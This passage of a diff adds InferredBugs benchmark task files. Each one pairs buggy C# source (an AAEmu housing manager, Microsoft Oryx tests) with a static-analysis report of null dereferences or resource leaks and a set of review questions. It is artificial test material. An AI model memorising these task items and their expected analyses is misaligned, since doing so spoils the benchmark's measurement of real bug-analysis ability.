+            // Send sales money to previous owner
+            var profitMail = new BaseMail();
+            profitMail.MailType = MailType.HousingSale;
+            profitMail.Header.ReceiverId = previousOwner;
+            profitMail.ReceiverName = previousOwnerName;
+            profitMail.Title = "title('" + character.Name + "','" + house.Name + "')";
+            profitMail.Header.SenderName = ".houseSold";
+            profitMail.Body.Text = "body('" + character.Name + "', '" + house.Name + "', " + house.SellPrice.ToString() + ")";
+            profitMail.Body.CopperCoins = (int)house.SellPrice; // add the money
+            profitMail.Body.SendDate = DateTime.UtcNow;
+            profitMail.Body.RecvDate = DateTime.UtcNow.AddMilliseconds(1);
+            profitMail.Send();
+            
+            ReturnHouseItemsToOwner(house, false, false, character);
+            
+            // Set new owner info
+            house.SellPrice = 0;
+            house.SellToPlayerId = 0;
+            house.AccountId = character.AccountId;
+            house.OwnerId = character.Id;
+            house.CoOwnerId = character.Id;
+            house.Permission = house.Template.AlwaysPublic ? HousingPermission.Public : HousingPermission.Private;
+            UpdateHouseFaction(house, character.Faction.Id);
+            UpdateTaxInfo(house); // send tax due mails etc if needed ...
+
+            // TODO: broadcast changes
+            house.BroadcastPacket(
+                new SCHouseSoldPacket(house.TlId, previousOwner, character.Id, character.AccountId, character.Name,
+                    house.Name), false);
+
+            SetForSaleMarkers(house, false);
+            
+            character.SendPacket(new SCMyHousePacket(house));
+            var oldOwner = WorldManager.Instance.GetCharacterById(previousOwner);
+            if ((oldOwner != null) && (oldOwner.IsOnline))
+                oldOwner.SendPacket(new SCMyHouseRemovedPacket(house.TlId));
+
+            UpdateFurnitureOwner(house, character.Id);
+            
+            house.IsDirty = true;
+
+            return true;
+        }
+
+        /// <summary>
+        /// Ticker function for checking all houses if they need tax mails sent
+        /// </summary>
+        public void CheckHousingTaxes()
+        {
+            if (isCheckingTaxTiming)
+                return;
+            isCheckingTaxTiming = true;
+            try
+            {
+                // _log.Trace("CheckHousingTaxes");
+                var expiredHouseList = new List<House>();
+                foreach (var house in _houses)
+                {
+                    if ((house.Value?.ProtectionEndDate <= DateTime.UtcNow) && (house.Value?.OwnerId > 0))
+                        expiredHouseList.Add(house.Value);
+                    UpdateTaxInfo(house.Value);
+                }
+                foreach (var house in expiredHouseList)
+                {
+                    Demolish(null, house, true, false);
+                }
+            }
+            catch (Exception e)
+            {
+                _log.Error(e);
+            }
+
+            isCheckingTaxTiming = false;
+        }
+
+        public HousingDecoration GetDecorationDesignFromId(uint designId)
+        {
+            if (_housingDecorations.TryGetValue(designId, out var deco))
+            {
+                return deco;
+            }
+
+            return null;
+        }
+
+        public HousingDecoration GetDecorationDesignFromDoodadId(uint doodadId)
+        {
+            var deco = _housingDecorations.FirstOrDefault(x => x.Value.DoodadId == doodadId).Value;
+            return default ? null : deco;
+        }
+
+        /// <summary>
+        /// Places a piece of furniture at a given location, using item and design
+        /// </summary>
+        /// <param name="player"></param>
+        /// <param name="houseId"></param>
+        /// <param name="designId"></param>
+        /// <param name="pos"></param>
+        /// <param name="quat"></param>
+        /// <param name="parentObjId"></param>
+        /// <param name="itemId"></param>
+        /// <returns></returns>
+        public bool DecorateHouse(Character player, ushort houseId, uint designId, Vector3 pos, Quaternion quat, uint parentObjId, ulong itemId)
+        {
+            // Check Player
+            if (player == null)
+                return false;
+
+            // Check Item
+            var item = ItemManager.Instance.GetItemByItemId(itemId);
+            if ((item == null) || (item.OwnerId != player.Id))
+            {
+                // Invalid Item
+                return false;
+            }
+
+            // Check House
+            var house = GetHouseById(houseId);
+            if ((house == null) || (house.Id != houseId))
+            {
+                // Invalid House
+                player.SendErrorMessage(ErrorMessageType.InvalidHouseInfo);
+                return false;
+            }
+
+            var itemUcc = UccManager.Instance.GetUccFromItem(item);
+
+
+            // Create decoration doodad
+            var decorationDesign = GetDecorationDesignFromId(designId);
+
+            // TODO: Validate if designId is correct for the given item
+            /*
+            if (item.TemplateId != decorationDesign.ItemTemplateId)
+            {
+                player.SendErrorMessage(ErrorMessageType.FailedToUseItem);
+                return false;
+            }
+            */
+
+            var doodad = DoodadManager.Instance.Create(0, decorationDesign.DoodadId);
+            doodad.Transform.Parent = house.Transform;
+            doodad.Transform.Local.SetPosition(pos.X, pos.Y, pos.Z);
+            doodad.Transform.Local.ApplyFromQuaternion(quat);
+            doodad.ItemTemplateId = item.TemplateId; // designId;
+            doodad.ItemId = (item.Template.MaxCount <= 1) ? itemId : 0;
+            doodad.DbHouseId = house.Id;
+            doodad.OwnerId = player.Id;
+            doodad.ParentObjId = house.ObjId;
+            doodad.ParentObj = house;
+            doodad.AttachPoint = AttachPointKind.None;
+            doodad.OwnerType = DoodadOwnerType.Housing;
+            doodad.UccId = itemUcc?.Id ?? 0;
+            doodad.IsPersistent = true;
+
+            doodad.Spawn();
+            doodad.Save();
+
+            var res = false;
+            if (item.Template.MaxCount > 1)
+            {
+                // Stackable items are simply consumed
+                res = (player.Inventory.Bag.ConsumeItem(ItemTaskType.DoodadCreate, item.TemplateId, 1, item) == 1);
+            }
+            else
+            {
+                // Non-stackables are stored in the owner's system container as to retain crafter information and such 
+                res = player.Inventory.SystemContainer.AddOrMoveExistingItem(ItemTaskType.DoodadCreate, item);
+            }
+            
+            // _log.Debug("DecorateHouse => DoodadTemplate: {0} , DoodadId {1}, Pos: {2}", doodad.TemplateId, doodad.ObjId, doodad.Transform.ToString());
+
+            return res;
+        }
+
+        public void HousingToggleAllowRecover(Character character, ushort houseTl)
+        {
+            var house = GetHouseByTlId(houseTl);
+            if (house == null)
+                return;
+            if (character.Id != house.OwnerId)
+                return;
+            house.AllowRecover = !house.AllowRecover;
+            house.BroadcastPacket(new SCHousingRecoverTogglePacket(house.TlId, house.AllowRecover), false);
+        }
+
+        /// <summary>
+        /// Returns a house where the given position falls within boundaries of the house 
+        /// </summary>
+        /// <param name="x"></param>
+        /// <param name="y"></param>
+        /// <returns>Target House or Null</returns>
+        public House GetHouseAtLocation(float x, float y)
+        {
+            // TODO: Check if all houses actually use a square shape aligned to grid
+            // TODO: Add world and/or instance checks
+            foreach (var h in _houses)
+            {
+                var house = h.Value;
+                var r = house.Template.GardenRadius;
+                var bounds = new RectangleF(house.Transform.World.Position.X - r, house.Transform.World.Position.Y - r,
+                    r * 2f, r * 2f);
+                if (bounds.Contains(x, y))
+                    return house;
+            }
+            return null;
+        }
+
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `house` last assigned on line 623 could be null and is dereferenced at line 626, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void HousingManager.Build(GameConnection,UInt32,Single,Single,Single,Single,UInt64,Int32,Int32,Boolean)
+
+### File:
+AAEmu.Game/Core/Managers/HousingManager.cs
+
+### Key:
+HousingManager.cs|Build|NULL_DEREFERENCE
+
+### Node Key:
+45e45af2157e8c3a280ff230397e1122
+
+### Hash:
+fb924873865ba118c7c72972f67481a8
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1993/instruction.md b/inferredbugs-1993/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7ec4009abda7b3fb3a2275e2e13d697053a30737
--- /dev/null
+++ b/inferredbugs-1993/instruction.md
@@ -0,0 +1,380 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Oryx
+**Bug ID:** 8
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// --------------------------------------------------------------------------------------------
+// Copyright (c) Microsoft Corporation. All rights reserved.
+// Licensed under the MIT license.
+// --------------------------------------------------------------------------------------------
+
+using Microsoft.Extensions.Logging.Abstractions;
+using Microsoft.Extensions.Options;
+using Microsoft.Oryx.BuildScriptGenerator.DotnetCore;
+using Moq;
+using Microsoft.Oryx.Tests.Common;
+using Xunit;
+
+namespace Microsoft.Oryx.BuildScriptGenerator.Tests.DotNetCore
+{
+    public class DotNetCoreLanguageDetectorTest
+    {
+        private const string ProjectFileWithNoTargetFramework = @"
+        <Project Sdk=""Microsoft.NET.Sdk.Web"">
+          <PropertyGroup>
+            <LangVersion>7.3</LangVersion>
+          </PropertyGroup>
+        </Project>";
+
+        private const string ProjectFileWithMultipleProperties = @"
+        <Project Sdk=""Microsoft.NET.Sdk.Web"">
+          <PropertyGroup>
+            <LangVersion>7.3</LangVersion>
+          </PropertyGroup>
+          <PropertyGroup>
+            <TargetFramework>netcoreapp2.1</TargetFramework>
+            <LangVersion>7.3</LangVersion>
+          </PropertyGroup>
+        </Project>";
+
+        private const string ProjectFileWithTargetFrameworkPlaceHolder = @"
+        <Project Sdk=""Microsoft.NET.Sdk.Web"">
+          <PropertyGroup>
+            <TargetFramework>#TargetFramework#</TargetFramework>
+            <LangVersion>7.3</LangVersion>
+            <IsPackable>false</IsPackable>
+            <AssemblyName>Microsoft.Oryx.BuildScriptGenerator.Tests</AssemblyName>
+            <RootNamespace>Microsoft.Oryx.BuildScriptGenerator.Tests</RootNamespace>
+          </PropertyGroup>
+        </Project>";
+
+        private const string GlobalJsonWithSdkVersionPlaceholder = @"
+        {
+            ""sdk"": {
+                ""version"": ""#version#""
+            }
+        }";
+
+        [Fact]
+        public void Detect_ReturnsNull_IfRepoDoesNotContain_ProjectFile()
+        {
+            // Arrange
+            var sourceRepo = new Mock<ISourceRepo>();
+            var detector = CreateDotnetCoreLanguageDetector(
+                supportedVersions: new[]
+                {
+                    DotnetCoreConstants.DotnetCoreSdkVersion11
+                },
+                projectFile: null);
+
+            // Act
+            var result = detector.Detect(sourceRepo.Object);
+
+            // Assert
+            Assert.Null(result);
+        }
+
+        [Fact]
+        public void Detect_ReturnsNull_IfProjectFile_DoesNotHaveTargetFrameworkSpecified()
+        {
+            // Arrange
+            var projectFile = "test.csproj";
+            var sourceRepo = new Mock<ISourceRepo>();
+            sourceRepo
+                .Setup(repo => repo.EnumerateFiles(It.IsAny<string>(), It.IsAny<bool>()))
+                .Returns(new[] { projectFile });
+            sourceRepo
+                .Setup(repo => repo.ReadFile(It.IsAny<string>()))
+                .Returns(ProjectFileWithNoTargetFramework);
+            var detector = CreateDotnetCoreLanguageDetector(
+                supportedVersions: new[]
+                {
+                    DotnetCoreConstants.DotnetCoreSdkVersion11
+                },
+                projectFile);
+
+            // Act
+            var result = detector.Detect(sourceRepo.Object);
+
+            // Assert
+            Assert.Null(result);
+        }
+
+        [Theory]
+        [InlineData("netcoreapp1.0", "1.1")]
+        [InlineData("netcoreapp1.1", "1.1")]
+        [InlineData("netcoreapp2.0", "2.1")]
+        [InlineData("netcoreapp2.1", "2.1")]
+        [InlineData("netcoreapp2.2", "2.2")]
+        public void Detect_ReturnsExpectedLanguageVersion_ForTargetFrameworkVersions(
+            string netCoreAppVersion,
+            string expectedSdkVersion)
+        {
+            // Arrange
+            var projectFile = "test.csproj";
+            var projectFileContent = ProjectFileWithTargetFrameworkPlaceHolder.Replace(
+                "#TargetFramework#",
+                netCoreAppVersion);
+            var sourceRepo = new Mock<ISourceRepo>();
+            sourceRepo
+                .Setup(repo => repo.EnumerateFiles(It.IsAny<string>(), It.IsAny<bool>()))
+                .Returns(new[] { projectFile });
+            sourceRepo
+                .Setup(repo => repo.ReadFile(It.IsAny<string>()))
+                .Returns(projectFileContent);
+            var detector = CreateDotnetCoreLanguageDetector(
+                supportedVersions: new[]
+                {
+                    DotnetCoreConstants.DotnetCoreSdkVersion11,
+                    DotnetCoreConstants.DotnetCoreSdkVersion21,
+                    DotnetCoreConstants.DotnetCoreSdkVersion22
+                },
+                projectFile);
+
+            // Act
+            var result = detector.Detect(sourceRepo.Object);
+
+            // Assert
+            Assert.NotNull(result);
+            Assert.Equal(DotnetCoreConstants.LanguageName, result.Language);
+            Assert.Equal(expectedSdkVersion, result.LanguageVersion);
+        }
+
+        [Fact]
+        public void Detect_ReturnsExpectedLanguageVersion_WhenProjectFileHasMultiplePropertyGroups()
+        {
+            // Arrange
+            var projectFile = "test.csproj";
+            var sourceRepo = new Mock<ISourceRepo>();
+            sourceRepo
+                .Setup(repo => repo.EnumerateFiles(It.IsAny<string>(), It.IsAny<bool>()))
+                .Returns(new[] { projectFile });
+            sourceRepo
+                .Setup(repo => repo.ReadFile(It.IsAny<string>()))
+                .Returns(ProjectFileWithMultipleProperties);
+            var detector = CreateDotnetCoreLanguageDetector(
+                supportedVersions: new[]
+                {
+                    DotnetCoreConstants.DotnetCoreSdkVersion11,
+                    DotnetCoreConstants.DotnetCoreSdkVersion21,
+                    DotnetCoreConstants.DotnetCoreSdkVersion22
+                },
+                projectFile);
+
+            // Act
+            var result = detector.Detect(sourceRepo.Object);
+
+            // Assert
+            Assert.NotNull(result);
+            Assert.Equal(DotnetCoreConstants.LanguageName, result.Language);
+            Assert.Equal("2.1", result.LanguageVersion);
+        }
+
+        [Fact]
+        public void Detect_ReturnsNull_ForUnknownNetCoreAppVersion()
+        {
+            // Arrange
+            var projectFile = "test.csproj";
+            var projectFileContent = ProjectFileWithTargetFrameworkPlaceHolder.Replace(
+                "#TargetFramework#",
+                "netcoreapp0.0");
+            var sourceRepo = new Mock<ISourceRepo>();
+            sourceRepo
+                .Setup(repo => repo.EnumerateFiles(It.IsAny<string>(), It.IsAny<bool>()))
+                .Returns(new[] { projectFile });
+            sourceRepo
+                .Setup(repo => repo.ReadFile(It.IsAny<string>()))
+                .Returns(projectFileContent);
+            var detector = CreateDotnetCoreLanguageDetector(
+                supportedVersions: new[]
+                {
+                    DotnetCoreConstants.DotnetCoreSdkVersion11,
+                    DotnetCoreConstants.DotnetCoreSdkVersion21,
+                    DotnetCoreConstants.DotnetCoreSdkVersion22
+                },
+                projectFile);
+
+            // Act
+            var result = detector.Detect(sourceRepo.Object);
+
+            // Assert
+            Assert.Null(result);
+        }
+
+        [Fact]
+        public void Detect_ReturnsSdkVersion_SpecifiedInGlobalJsonFile()
+        {
+            // Arrange
+            var projectFile = "test.csproj";
+            var globalJsonFileContent = GlobalJsonWithSdkVersionPlaceholder.Replace(
+                "#version#",
+                "100.100.100");
+            var projectFileContent = ProjectFileWithTargetFrameworkPlaceHolder.Replace(
+                "#TargetFramework#",
+                "netcoreapp2.1");
+            var sourceRepo = new Mock<ISourceRepo>();
+            sourceRepo
+                .Setup(repo => repo.EnumerateFiles(It.IsAny<string>(), It.IsAny<bool>()))
+                .Returns(new[] { projectFile, "global.json" });
+            sourceRepo
+                .Setup(repo => repo.FileExists("global.json"))
+                .Returns(true);
+            sourceRepo
+                .Setup(repo => repo.ReadFile("test.csproj"))
+                .Returns(projectFileContent);
+            sourceRepo
+                .Setup(repo => repo.ReadFile("global.json"))
+                .Returns(globalJsonFileContent);
+            var detector = CreateDotnetCoreLanguageDetector(
+                supportedVersions: new[]
+                {
+                    DotnetCoreConstants.DotnetCoreSdkVersion11,
+                    DotnetCoreConstants.DotnetCoreSdkVersion21,
+                    DotnetCoreConstants.DotnetCoreSdkVersion22
+                },
+                projectFile);
+
+            // Act
+            var result = detector.Detect(sourceRepo.Object);
+
+            // Assert
+            Assert.NotNull(result);
+            Assert.Equal(DotnetCoreConstants.LanguageName, result.Language);
+            Assert.Equal("100.100.100", result.LanguageVersion);
+        }
+
+        [Fact]
+        public void Detect_ReturnsSdkVersion_BasedOnTargetFramework_IfSpecifiedInGlobalJsonDoesNotHaveSdkVersion()
+        {
+            // Arrange
+            var projectFile = "test.csproj";
+            var projectFileContent = ProjectFileWithTargetFrameworkPlaceHolder.Replace(
+                "#TargetFramework#",
+                "netcoreapp2.1");
+            var sourceRepo = new Mock<ISourceRepo>();
+            sourceRepo
+                .Setup(repo => repo.EnumerateFiles(It.IsAny<string>(), It.IsAny<bool>()))
+                .Returns(new[] { projectFile, "global.json" });
+            sourceRepo
+                .Setup(repo => repo.FileExists("global.json"))
+                .Returns(true);
+            sourceRepo
+                .Setup(repo => repo.ReadFile("test.csproj"))
+                .Returns(projectFileContent);
+            sourceRepo
+                .Setup(repo => repo.ReadFile("global.json"))
+                .Returns("{}");
+            var detector = CreateDotnetCoreLanguageDetector(
+                supportedVersions: new[]
+                {
+                    DotnetCoreConstants.DotnetCoreSdkVersion11,
+                    DotnetCoreConstants.DotnetCoreSdkVersion21,
+                    DotnetCoreConstants.DotnetCoreSdkVersion22
+                },
+                projectFile);
+
+            // Act
+            var result = detector.Detect(sourceRepo.Object);
+
+            // Assert
+            Assert.NotNull(result);
+            Assert.Equal(DotnetCoreConstants.LanguageName, result.Language);
+            Assert.Equal("2.1", result.LanguageVersion);
+        }
+
+        private DotnetCoreLanguageDetector CreateDotnetCoreLanguageDetector(
+            string[] supportedVersions,
+            string projectFile)
+        {
+            return CreateDotnetCoreLanguageDetector(
+                supportedVersions,
+                projectFile,
+                new TestEnvironment());
+        }
+
+        private DotnetCoreLanguageDetector CreateDotnetCoreLanguageDetector(
+            string[] supportedVersions,
+            string projectFile,
+            IEnvironment environment)
+        {
+            var optionsSetup = new DotnetCoreScriptGeneratorOptionsSetup(environment);
+            var options = new DotnetCoreScriptGeneratorOptions();
+            optionsSetup.Configure(options);
+
+            return new DotnetCoreLanguageDetector(
+                new TestVersionProvider(supportedVersions),
+                Options.Create(options),
+                new TestAspNetCoreWebAppProjectFileProvider(projectFile),
+                NullLogger<DotnetCoreLanguageDetector>.Instance);
+        }
+
+        private class TestAspNetCoreWebAppProjectFileProvider : IAspNetCoreWebAppProjectFileProvider
+        {
+            private readonly string _projectFilePath;
+
+            public TestAspNetCoreWebAppProjectFileProvider(string projectFilePath)
+            {
+                _projectFilePath = projectFilePath;
+            }
+
+            public string GetProjectFile(ISourceRepo sourceRepo)
+            {
+                return _projectFilePath;
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`result` could be null (from the call to `DotnetCoreLanguageDetector.Detect(...)` on line 160) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void DotNetCoreLanguageDetectorTest.Detect_ReturnsExpectedLanguageVersion_WhenProjectFileHasMultiplePropertyGroups()
+
+### File:
+tests/BuildScriptGenerator.Tests/DotnetCore/DotnetCoreLanguageDetectorTest.cs
+
+### Key:
+DotnetCoreLanguageDetectorTest.cs|Detect_ReturnsExpectedLanguageVersion_WhenProjectFileHasMultiplePropertyGroups|NULLPTR_DEREFERENCE
+
+### Hash:
+09720c6cb4c7c7b84d615e8df4638040
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1994/instruction.md b/inferredbugs-1994/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c072312ea63b334ff087c2e08a6f133f34f8c243
--- /dev/null
+++ b/inferredbugs-1994/instruction.md
@@ -0,0 +1,191 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Oryx
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// --------------------------------------------------------------------------------------------
+// Copyright (c) Microsoft Corporation. All rights reserved.
+// --------------------------------------------------------------------------------------------
+
+using System;
+using System.IO;
+using McMaster.Extensions.CommandLineUtils;
+using Microsoft.Oryx.BuildScriptGenerator;
+using Microsoft.Oryx.BuildScriptGeneratorCli;
+using Xunit;
+
+namespace BuildScriptGeneratorCli.Tests
+{
+    public class BuildCommandTest
+    {
+        [Fact]
+        public void OnExecute_ShowsHelp_AndExits_WhenSourceFolderIsNull()
+        {
+            // Arrange
+            var buildCommand = new BuildCommand
+            {
+                SourceCodeFolder = null
+            };
+            var testConsole = new TestConsole();
+
+            // Act
+            var exitCode = buildCommand.OnExecute(new CommandLineApplication(testConsole), testConsole);
+
+            // Assert
+            Assert.NotEqual(0, exitCode);
+            Assert.Contains("Usage:", testConsole.Output);
+        }
+
+        [Fact]
+        public void OnExecute_ShowsHelp_AndExits_WhenSourceDirectoryDoesNotExist()
+        {
+            // Arrange
+            var buildCommand = new BuildCommand
+            {
+                SourceCodeFolder = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()),
+                OutputFolder = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()),
+            };
+            var testConsole = new TestConsole();
+
+            // Act
+            var exitCode = buildCommand.OnExecute(new CommandLineApplication(testConsole), testConsole);
+
+            // Assert
+            Assert.NotEqual(0, exitCode);
+            var output = testConsole.Output;
+            Assert.DoesNotContain("Usage:", output);
+            Assert.Contains("Could not find the source code folder", output);
+        }
+
+        [Fact]
+        public void OnExecute_ShowsHelp_AndExits_WhenOutputFolderIsNull()
+        {
+            // Arrange
+            var buildCommand = new BuildCommand
+            {
+                SourceCodeFolder = Path.GetTempPath(),
+                OutputFolder = null
+            };
+            var testConsole = new TestConsole();
+
+            // Act
+            var exitCode = buildCommand.OnExecute(new CommandLineApplication(testConsole), testConsole);
+
+            // Assert
+            Assert.NotEqual(0, exitCode);
+            var output = testConsole.Output;
+            Assert.Contains("Usage:", output);
+        }
+
+        [Fact]
+        public void IsValidInput_IsTrue_EvenIfOutputFolderDoesNotExist()
+        {
+            // Arrange
+            var options = new BuildScriptGeneratorOptions
+            {
+                // temp is always available
+                SourceCodeFolder = Path.GetTempPath(),
+
+                // New folder which does not exist yet
+                OutputFolder = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString())
+            };
+            var testConsole = new TestConsole();
+            var program = new BuildCommand();
+
+            // Act
+            var isValid = program.IsValidInput(options, testConsole);
+
+            // Assert
+            Assert.True(isValid);
+            Assert.Empty(testConsole.Output);
+        }
+
+        [Fact]
+        public void DoesNotShowHelp_EvenIfIntermediateFolder_DoesNotExistYet()
+        {
+            // Arrange
+            var buildCommand = new CustomBuildCommand
+            {
+                // temp is always available
+                SourceCodeFolder = Path.GetTempPath(),
+
+                // New folder which does not exist yet
+                OutputFolder = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()),
+
+                // New folder which does not exist yet
+                IntermediateFolder = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString())
+            };
+            var testConsole = new TestConsole();
+
+            // Act
+            var exitCode = buildCommand.OnExecute(new CommandLineApplication(testConsole), testConsole);
+
+            // Assert
+            Assert.Equal(0, exitCode);
+            Assert.Empty(testConsole.Output);
+        }
+
+        private class CustomBuildCommand : BuildCommand
+        {
+            internal override int Execute(IServiceProvider serviceProvider, IConsole console)
+            {
+                return 0;
+                //return base.Execute(serviceProvider, console);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource testConsole.BuildScriptGeneratorCli.Tests.TestConsole._stringWriter of type System.IO.StringWriter, Leaked resource (output of McMaster.Extensions.CommandLineUtils.CommandLineApplication::.ctor() at Line 27) of type McMaster.Extensions.CommandLineUtils.CommandLineApplication in method "Void BuildCommandTest.OnExecute_ShowsHelp_AndExits_WhenSourceFolderIsNull()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void BuildCommandTest.OnExecute_ShowsHelp_AndExits_WhenSourceFolderIsNull()
+
+### File:
+tests/BuildScriptGeneratorCli.Tests/BuildCommandTest.cs
+
+### Key:
+BuildCommandTest.cs|OnExecute_ShowsHelp_AndExits_WhenSourceFolderIsNull|DOTNET_RESOURCE_LEAK
+
+### Hash:
+2da1801e7e0283a75e90c0995f72c881
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2000/instruction.md b/inferredbugs-2000/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2a53135702b4822ca1d18dce51155fd9a6aef639
--- /dev/null
+++ b/inferredbugs-2000/instruction.md
@@ -0,0 +1,106 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Oryx
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// --------------------------------------------------------------------------------------------
+// Copyright (c) Microsoft Corporation. All rights reserved.
+// --------------------------------------------------------------------------------------------
+
+using McMaster.Extensions.CommandLineUtils;
+using Microsoft.Oryx.BuildScriptGeneratorCli;
+using Xunit;
+
+namespace BuildScriptGeneratorCli.Tests
+{
+    public class ProgramTest
+    {
+        [Fact]
+        public void OnExecute_ShowsHelp_AndExits_WithSuccessExitCode()
+        {
+            // Arrange
+            var program = new Program();
+            var testConsole = new TestConsole();
+
+            // Act
+            var exitCode = program.OnExecute(new CommandLineApplication(testConsole), testConsole);
+
+            // Assert
+            Assert.Equal(0, exitCode);
+            Assert.Contains("Usage:", testConsole.StdOutput);
+        }
+
+        [Fact]
+        public void OnExecute_ShowsVersion_WhenVersionOptionIsUsed()
+        {
+            // Arrange
+            var program = new Program
+            {
+                Version = true
+            };
+            var testConsole = new TestConsole();
+
+            // Act
+            var exitCode = program.OnExecute(new CommandLineApplication(testConsole), testConsole);
+
+            // Assert
+            Assert.Equal(0, exitCode);
+            Assert.Contains("Version:", testConsole.StdOutput);
+            Assert.Contains("Commit:", testConsole.StdOutput);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource testConsole.BuildScriptGeneratorCli.Tests.TestConsole._stdOutStringWriter of type System.IO.StringWriter, Leaked resource testConsole.BuildScriptGeneratorCli.Tests.TestConsole._stdErrStringWriter of type System.IO.StringWriter, Leaked resource (output of McMaster.Extensions.CommandLineUtils.CommandLineApplication::.ctor() at Line 39) of type McMaster.Extensions.CommandLineUtils.CommandLineApplication in method "Void ProgramTest.OnExecute_ShowsVersion_WhenVersionOptionIsUsed()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ProgramTest.OnExecute_ShowsVersion_WhenVersionOptionIsUsed()
+
+### File:
+tests/BuildScriptGeneratorCli.Tests/ProgramTest.cs
+
+### Key:
+ProgramTest.cs|OnExecute_ShowsVersion_WhenVersionOptionIsUsed|DOTNET_RESOURCE_LEAK
+
+### Hash:
+46dcf6813c58a84ee66d03ca4e6b92cc
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2001/instruction.md b/inferredbugs-2001/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..507a5c1b195377eb99d80e292e9901f3ebb0c349
--- /dev/null
+++ b/inferredbugs-2001/instruction.md
@@ -0,0 +1,151 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Oryx
+**Bug ID:** 14
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// --------------------------------------------------------------------------------------------
+// Copyright (c) Microsoft Corporation. All rights reserved.
+// Licensed under the MIT license.
+// --------------------------------------------------------------------------------------------
+
+using System.IO;
+using System.Xml.Linq;
+using System.Xml.XPath;
+using Microsoft.Extensions.Logging;
+
+namespace Microsoft.Oryx.Detector.DotNetCore
+{
+    /// <summary>
+    /// An implementation of <see cref="IPlatformDetector"/> which detects 
+    /// ASP.NET Core Web Application projects, .NET Core Azure Functions projects and
+    /// ASP.NET Core Blazor Client projects.
+    /// </summary>
+    public class DotNetCoreDetector : IDotNetCorePlatformDetector
+    {
+        private readonly DefaultProjectFileProvider _projectFileProvider;
+        private readonly ILogger<DotNetCoreDetector> _logger;
+
+        /// <summary>
+        /// Creates an instance of <see cref="DotNetCoreDetector"/>.
+        /// </summary>
+        /// <param name="projectFileProvider">The <see cref="DefaultProjectFileProvider"/>.</param>
